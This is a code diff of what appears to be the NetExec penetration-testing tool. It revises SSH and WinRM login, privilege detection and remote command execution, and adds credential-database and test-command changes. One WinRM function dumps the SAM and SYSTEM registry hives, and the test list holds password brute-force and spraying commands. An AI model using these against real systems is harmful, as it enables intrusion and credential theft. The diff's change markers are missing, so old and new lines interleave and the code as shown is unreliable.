|
||||||
port=self.args.port,
|
with open(self.args.key_file) as f:
|
||||||
username=username,
|
private_key = f.read()
|
||||||
passphrase=password if password != "" else None,
|
|
||||||
pkey=pkey,
|
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key), password)
|
||||||
look_for_keys=False,
|
|
||||||
allow_agent=False,
|
self.conn._transport.auth_publickey(username, pkey)
|
||||||
)
|
|
||||||
if private_key:
|
|
||||||
cred_id = self.db.add_credential(
|
cred_id = self.db.add_credential(
|
||||||
"key",
|
"key",
|
||||||
username,
|
username,
|
||||||
password if password != "" else "",
|
password if password != "" else "",
|
||||||
key=private_key,
|
key=private_key,
|
||||||
)
|
)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
with open(self.args.key_file) as f:
|
self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}")
|
||||||
key_data = f.read()
|
self.conn._transport.auth_password(username, password, fallback=True)
|
||||||
cred_id = self.db.add_credential(
|
|
||||||
"key",
|
|
||||||
username,
|
|
||||||
password if password != "" else "",
|
|
||||||
key=key_data,
|
|
||||||
)
|
|
||||||
else:
|
|
||||||
self.logger.debug("Logging in with password")
|
|
||||||
self.conn.connect(
|
|
||||||
self.host,
|
|
||||||
port=self.args.port,
|
|
||||||
username=username,
|
|
||||||
password=password,
|
|
||||||
look_for_keys=False,
|
|
||||||
allow_agent=False,
|
|
||||||
)
|
|
||||||
cred_id = self.db.add_credential("plaintext", username, password)
|
cred_id = self.db.add_credential("plaintext", username, password)
|
||||||
|
|
||||||
|
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||||
|
_, stdout, _ = self.conn.exec_command("id")
|
||||||
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
|
except Exception as e:
|
||||||
|
if self.args.key_file:
|
||||||
|
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||||
|
if "OpenSSH private key file checkints do not match" in str(e):
|
||||||
|
self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
|
||||||
|
else:
|
||||||
|
self.logger.fail(f"{username}:{password} {e}")
|
||||||
|
self.conn.close()
|
||||||
|
return False
|
||||||
|
else:
|
||||||
shell_access = False
|
shell_access = False
|
||||||
host_id = self.db.get_hosts(self.host)[0].id
|
host_id = self.db.get_hosts(self.host)[0].id
|
||||||
|
|
||||||
if self.check_if_admin():
|
if not stdout:
|
||||||
|
_, stdout, _ = self.conn.exec_command("whoami /priv")
|
||||||
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
|
self.server_os_platform = "Windows"
|
||||||
|
self.user_principal = "admin"
|
||||||
|
if "SeDebugPrivilege" in stdout:
|
||||||
|
self.admin_privs = True
|
||||||
|
elif "SeUndockPrivilege" in stdout:
|
||||||
|
self.admin_privs = True
|
||||||
|
self.user_principal = "admin (UAC)"
|
||||||
|
else:
|
||||||
|
# non admin (low priv)
|
||||||
|
self.user_principal = "admin (low priv)"
|
||||||
|
|
||||||
|
if not stdout:
|
||||||
|
self.logger.debug(f"User: {self.username} can't get a basic shell")
|
||||||
|
self.server_os_platform = "Network Devices"
|
||||||
|
shell_access = False
|
||||||
|
else:
|
||||||
shell_access = True
|
shell_access = True
|
||||||
|
|
||||||
|
self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access)
|
||||||
|
|
||||||
|
if shell_access and self.server_os_platform == "Linux":
|
||||||
|
self.check_if_admin()
|
||||||
|
if self.admin_privs:
|
||||||
self.logger.debug(f"User {username} logged in successfully and is root!")
|
self.logger.debug(f"User {username} logged in successfully and is root!")
|
||||||
if self.args.key_file:
|
if self.args.key_file:
|
||||||
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
|
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
|
||||||
|
@ -139,46 +264,33 @@ class ssh(connection):
|
||||||
host_id=host_id,
|
host_id=host_id,
|
||||||
cred_id=cred_id,
|
cred_id=cred_id,
|
||||||
)
|
)
|
||||||
else:
|
|
||||||
stdin, stdout, stderr = self.conn.exec_command("id")
|
|
||||||
output = stdout.read().decode("utf-8")
|
|
||||||
if not output:
|
|
||||||
self.logger.debug("User cannot get a shell")
|
|
||||||
shell_access = False
|
|
||||||
else:
|
|
||||||
shell_access = True
|
|
||||||
|
|
||||||
self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access)
|
|
||||||
|
|
||||||
if self.args.key_file:
|
if self.args.key_file:
|
||||||
password = f"{password} (keyfile: {self.args.key_file})"
|
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||||
|
|
||||||
display_shell_access = " - shell access!" if shell_access else ""
|
display_shell_access = "{} {} {}".format(
|
||||||
|
f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
|
||||||
|
self.server_os_platform,
|
||||||
|
"- Shell access!" if shell_access else ""
|
||||||
|
)
|
||||||
|
self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||||
|
|
||||||
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()}{highlight(display_shell_access)}")
|
|
||||||
return True
|
return True
|
||||||
except (
|
|
||||||
AuthenticationException,
|
|
||||||
NoValidConnectionsError,
|
|
||||||
ConnectionResetError,
|
|
||||||
) as e:
|
|
||||||
self.logger.fail(f"{username}:{process_secret(password)} {e}")
|
|
||||||
self.client_close()
|
|
||||||
return False
|
|
||||||
except Exception as e:
|
|
||||||
self.logger.exception(e)
|
|
||||||
self.client_close()
|
|
||||||
return False
|
|
||||||
|
|
||||||
def execute(self, payload=None, output=False):
|
def execute(self, payload=None, get_output=False):
|
||||||
|
if not payload and self.args.execute:
|
||||||
|
payload = self.args.execute
|
||||||
|
if not self.args.no_output:
|
||||||
|
get_output = True
|
||||||
try:
|
try:
|
||||||
command = payload if payload is not None else self.args.execute
|
_, stdout, _ = self.conn.exec_command(f"{payload} 2>&1")
|
||||||
stdin, stdout, stderr = self.conn.exec_command(command)
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
except AttributeError:
|
except Exception as e:
|
||||||
return ""
|
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||||
if output:
|
return False
|
||||||
|
else:
|
||||||
self.logger.success("Executed command")
|
self.logger.success("Executed command")
|
||||||
for line in stdout:
|
if get_output:
|
||||||
self.logger.highlight(line.strip())
|
for line in stdout.split("\n"):
|
||||||
|
self.logger.highlight(line.strip("\n"))
|
||||||
return stdout
|
return stdout
|
||||||
return None
|
|
||||||
|
|
|
@ -167,7 +167,6 @@ class database:
|
||||||
if updated_ids:
|
if updated_ids:
|
||||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||||
return updated_ids
|
return updated_ids
|
||||||
return None
|
|
||||||
|
|
||||||
def add_credential(self, credtype, username, password, key=None):
|
def add_credential(self, credtype, username, password, key=None):
|
||||||
"""Check if this credential has already been added to the database, if not add it in."""
|
"""Check if this credential has already been added to the database, if not add it in."""
|
||||||
|
@ -267,7 +266,14 @@ class database:
|
||||||
add_links = []
|
add_links = []
|
||||||
|
|
||||||
creds_q = select(self.CredentialsTable)
|
creds_q = select(self.CredentialsTable)
|
||||||
creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id) if cred_id else creds_q.filter(func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype), func.lower(self.CredentialsTable.c.username) == func.lower(username), self.CredentialsTable.c.password == secret)
|
if cred_id: # noqa: SIM108
|
||||||
|
creds_q = creds_q.filter(self.CredentialsTable.c.id == cred_id)
|
||||||
|
else:
|
||||||
|
creds_q = creds_q.filter(
|
||||||
|
func.lower(self.CredentialsTable.c.credtype) == func.lower(credtype),
|
||||||
|
func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||||
|
self.CredentialsTable.c.password == secret,
|
||||||
|
)
|
||||||
creds = self.sess.execute(creds_q)
|
creds = self.sess.execute(creds_q)
|
||||||
hosts = self.get_hosts(host_id)
|
hosts = self.get_hosts(host_id)
|
||||||
|
|
||||||
|
@ -343,9 +349,7 @@ class database:
|
||||||
self.CredentialsTable.c.credtype == cred_type,
|
self.CredentialsTable.c.credtype == cred_type,
|
||||||
)
|
)
|
||||||
results = self.sess.execute(q).first()
|
results = self.sess.execute(q).first()
|
||||||
if results is None:
|
if results is not None:
|
||||||
return None
|
|
||||||
else:
|
|
||||||
return results.id
|
return results.id
|
||||||
|
|
||||||
def is_host_valid(self, host_id):
|
def is_host_valid(self, host_id):
|
||||||
|
@ -414,7 +418,6 @@ class database:
|
||||||
return inserted_id_results[0].id
|
return inserted_id_results[0].id
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
||||||
return None
|
|
||||||
|
|
||||||
def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None):
|
def get_loggedin_relations(self, cred_id=None, host_id=None, shell=None):
|
||||||
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||||
|
|
|
@ -1,11 +1,37 @@
|
||||||
|
from argparse import _StoreAction
|
||||||
|
|
||||||
def proto_args(parser, std_parser, module_parser):
|
def proto_args(parser, std_parser, module_parser):
|
||||||
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
|
ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
|
||||||
ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
|
ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
|
||||||
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
|
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
|
||||||
|
ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout, default is %(default)s secondes", type=int, default=15)
|
||||||
|
sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo")
|
||||||
|
sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check, default is '%(default)s (mkfifo is non-stable, probably you need to execute once again if it failed)'")
|
||||||
|
ssh_parser.add_argument("--get-output-tries", help="Number of times with sudo command tries to get results, default is %(default)s", type=int, default=5)
|
||||||
|
sudo_check_method_arg.make_required.append(sudo_check_arg)
|
||||||
|
|
||||||
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
|
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||||
|
cgroup.add_argument("--codec", default="utf-8",
|
||||||
|
help="Set encoding used (codec) from the target's output (default "
|
||||||
|
"'utf-8'). If errors are detected, run chcp.com at the target, "
|
||||||
|
"map the result with "
|
||||||
|
"https://docs.python.org/3/library/codecs.html#standard-encodings and then execute "
|
||||||
|
"again with --codec and the corresponding codec")
|
||||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||||
cgroup.add_argument("--remote-enum", action="store_true", help="executes remote commands for enumeration")
|
|
||||||
|
|
||||||
return parser
|
return parser
|
||||||
|
|
||||||
|
def get_conditional_action(baseAction):
|
||||||
|
class ConditionalAction(baseAction):
|
||||||
|
def __init__(self, option_strings, dest, **kwargs):
|
||||||
|
x = kwargs.pop("make_required", [])
|
||||||
|
super().__init__(option_strings, dest, **kwargs)
|
||||||
|
self.make_required = x
|
||||||
|
|
||||||
|
def __call__(self, parser, namespace, values, option_string=None):
|
||||||
|
for x in self.make_required:
|
||||||
|
x.required = True
|
||||||
|
super().__call__(parser, namespace, values, option_string)
|
||||||
|
|
||||||
|
return ConditionalAction
|
|
@ -191,8 +191,8 @@ class winrm(connection):
|
||||||
for url in endpoints:
|
for url in endpoints:
|
||||||
try:
|
try:
|
||||||
self.logger.debug(f"Requesting URL: {url}")
|
self.logger.debug(f"Requesting URL: {url}")
|
||||||
res = requests.post(url, verify=False, timeout=self.args.http_timeout) # noqa: F841
|
res = requests.post(url, verify=False, timeout=self.args.http_timeout)
|
||||||
self.logger.debug("Received response code: {res.status_code}")
|
self.logger.debug(f"Received response code: {res.status_code}")
|
||||||
self.endpoint = url
|
self.endpoint = url
|
||||||
if self.endpoint.startswith("https://"):
|
if self.endpoint.startswith("https://"):
|
||||||
self.logger.extra["port"] = self.args.port if self.args.port else 5986
|
self.logger.extra["port"] = self.args.port if self.args.port else 5986
|
||||||
|
@ -250,7 +250,6 @@ class winrm(connection):
|
||||||
|
|
||||||
def hash_login(self, domain, username, ntlm_hash):
|
def hash_login(self, domain, username, ntlm_hash):
|
||||||
try:
|
try:
|
||||||
|
|
||||||
lmhash = "00000000000000000000000000000000:"
|
lmhash = "00000000000000000000000000000000:"
|
||||||
nthash = ""
|
nthash = ""
|
||||||
|
|
||||||
|
@ -302,21 +301,26 @@ class winrm(connection):
|
||||||
|
|
||||||
def execute(self, payload=None, get_output=False):
|
def execute(self, payload=None, get_output=False):
|
||||||
try:
|
try:
|
||||||
|
self.logger.debug(f"Connection: {self.conn}, and type: {type(self.conn)}")
|
||||||
r = self.conn.execute_cmd(self.args.execute, encoding=self.args.codec)
|
r = self.conn.execute_cmd(self.args.execute, encoding=self.args.codec)
|
||||||
except Exception:
|
|
||||||
self.logger.info("Cannot execute command, probably because user is not local admin, but powershell command should be ok!")
|
|
||||||
r = self.conn.execute_ps(self.args.execute)
|
|
||||||
self.logger.success("Executed command")
|
self.logger.success("Executed command")
|
||||||
buf = StringIO(r[0]).readlines()
|
buf = StringIO(r[0]).readlines()
|
||||||
for line in buf:
|
for line in buf:
|
||||||
self.logger.highlight(line.strip())
|
self.logger.highlight(line.strip())
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.debug(f"Error executing command: {e}")
|
||||||
|
self.logger.fail("Cannot execute command, probably because user is not local admin, but running via powershell (-X) may work")
|
||||||
|
|
||||||
def ps_execute(self, payload=None, get_output=False):
|
def ps_execute(self, payload=None, get_output=False):
|
||||||
|
try:
|
||||||
r = self.conn.execute_ps(self.args.ps_execute)
|
r = self.conn.execute_ps(self.args.ps_execute)
|
||||||
self.logger.success("Executed command")
|
self.logger.success("Executed command")
|
||||||
buf = StringIO(r[0]).readlines()
|
buf = StringIO(r[0]).readlines()
|
||||||
for line in buf:
|
for line in buf:
|
||||||
self.logger.highlight(line.strip())
|
self.logger.highlight(line.strip())
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.debug(f"Error executing command: {e}")
|
||||||
|
self.logger.fail("Command execution failed")
|
||||||
|
|
||||||
def sam(self):
|
def sam(self):
|
||||||
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
||||||
|
|
|
@ -222,7 +222,15 @@ class database:
|
||||||
add_links = []
|
add_links = []
|
||||||
|
|
||||||
creds_q = select(self.UsersTable)
|
creds_q = select(self.UsersTable)
|
||||||
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password)
|
if user_id: # noqa: SIM108
|
||||||
|
creds_q = creds_q.filter(self.UsersTable.c.id == user_id)
|
||||||
|
else:
|
||||||
|
creds_q = creds_q.filter(
|
||||||
|
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||||
|
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||||
|
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||||
|
self.UsersTable.c.password == password,
|
||||||
|
)
|
||||||
users = self.conn.execute(creds_q)
|
users = self.conn.execute(creds_q)
|
||||||
hosts = self.get_hosts(host)
|
hosts = self.get_hosts(host)
|
||||||
|
|
||||||
|
@ -299,7 +307,6 @@ class database:
|
||||||
results = self.conn.execute(q).all()
|
results = self.conn.execute(q).all()
|
||||||
|
|
||||||
return len(results) > 0
|
return len(results) > 0
|
||||||
return None
|
|
||||||
|
|
||||||
def is_host_valid(self, host_id):
|
def is_host_valid(self, host_id):
|
||||||
"""Check if this host ID is valid."""
|
"""Check if this host ID is valid."""
|
||||||
|
|
|
@ -1776,6 +1776,16 @@ tqdm = "*"
|
||||||
unicrypto = ">=0.0.10,<=0.1.0"
|
unicrypto = ">=0.0.10,<=0.1.0"
|
||||||
winacl = ">=0.1.7,<=0.2.0"
|
winacl = ">=0.1.7,<=0.2.0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pyreadline"
|
||||||
|
version = "2.1"
|
||||||
|
description = "A python implmementation of GNU readline."
|
||||||
|
optional = false
|
||||||
|
python-versions = "*"
|
||||||
|
files = [
|
||||||
|
{file = "pyreadline-2.1.zip", hash = "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1"},
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pyrsistent"
|
name = "pyrsistent"
|
||||||
version = "0.19.3"
|
version = "0.19.3"
|
||||||
|
@ -2218,13 +2228,13 @@ widechars = ["wcwidth"]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "termcolor"
|
name = "termcolor"
|
||||||
version = "2.3.0"
|
version = "2.0.1"
|
||||||
description = "ANSI color formatting for output in terminal"
|
description = "ANSI color formatting for output in terminal"
|
||||||
optional = false
|
optional = false
|
||||||
python-versions = ">=3.7"
|
python-versions = ">=3.7"
|
||||||
files = [
|
files = [
|
||||||
{file = "termcolor-2.3.0-py3-none-any.whl", hash = "sha256:3afb05607b89aed0ffe25202399ee0867ad4d3cb4180d98aaf8eefa6a5f7d475"},
|
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
|
||||||
{file = "termcolor-2.3.0.tar.gz", hash = "sha256:b5b08f68937f138fe92f6c089b99f1e2da0ae56c52b78bf7075fd95420fd9a5a"},
|
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
|
||||||
]
|
]
|
||||||
|
|
||||||
[package.extras]
|
[package.extras]
|
||||||
|
@ -2384,4 +2394,4 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more
|
||||||
[metadata]
|
[metadata]
|
||||||
lock-version = "2.0"
|
lock-version = "2.0"
|
||||||
python-versions = "^3.7.0"
|
python-versions = "^3.7.0"
|
||||||
content-hash = "97e57f05fadf905356205302c5404c4cab8dc3be9649674b54920af3869f9b4a"
|
content-hash = "1ff7892bac10d1469e83c63d338eeca5964a19f39704651cb71a90e045ebb16b"
|
||||||
|
|
|
@ -37,7 +37,7 @@ python = "^3.7.0"
|
||||||
requests = ">=2.27.1"
|
requests = ">=2.27.1"
|
||||||
beautifulsoup4 = ">=4.11,<5"
|
beautifulsoup4 = ">=4.11,<5"
|
||||||
lsassy = ">=3.1.8"
|
lsassy = ">=3.1.8"
|
||||||
termcolor = "^2.3.0"
|
termcolor = "2.0.1"
|
||||||
msgpack = "^1.0.0"
|
msgpack = "^1.0.0"
|
||||||
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
|
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
|
||||||
pylnk3 = "^0.4.2"
|
pylnk3 = "^0.4.2"
|
||||||
|
@ -63,6 +63,7 @@ rich = "^13.3.5"
|
||||||
python-libnmap = "^0.7.3"
|
python-libnmap = "^0.7.3"
|
||||||
resource = "^0.2.1"
|
resource = "^0.2.1"
|
||||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||||
|
pyreadline = "^2.1" # for the build - impacket imports its hidden from the builder so an error occurs
|
||||||
ruff = "=0.0.292"
|
ruff = "=0.0.292"
|
||||||
|
|
||||||
[tool.poetry.group.dev.dependencies]
|
[tool.poetry.group.dev.dependencies]
|
||||||
|
@ -80,7 +81,7 @@ build-backend = "poetry.core.masonry.api"
|
||||||
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
||||||
# Should tackle flake8-use-pathlib (PTH) at some point
|
# Should tackle flake8-use-pathlib (PTH) at some point
|
||||||
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
||||||
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
||||||
|
|
||||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||||
fixable = ["ALL"]
|
fixable = ["ALL"]
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
Test file used to test FTP upload and download
|
|
@ -207,15 +207,22 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_de
|
||||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
|
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
|
||||||
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
||||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
|
||||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||||
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
netexec ssh TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
||||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file data/test_key.priv
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file data/test_key.priv
|
||||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file data/test_key.priv
|
netexec ssh TARGET_HOST -u USERNAME -p '' --key-file data/test_key.priv
|
||||||
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check
|
||||||
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin
|
||||||
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10
|
||||||
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo
|
||||||
|
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10
|
||||||
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
|
##### FTP- Default test passwords and random key; switch these out if you want correct authentication
|
||||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD
|
||||||
netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls
|
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --ls
|
||||||
|
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --put data/test_file.txt test_file.txt
|
||||||
|
netexec ftp TARGET_HOST -u USERNAME -p PASSWORD --get test_file.txt
|
||||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||||
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
netexec ftp TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
Loading…
Reference in New Issue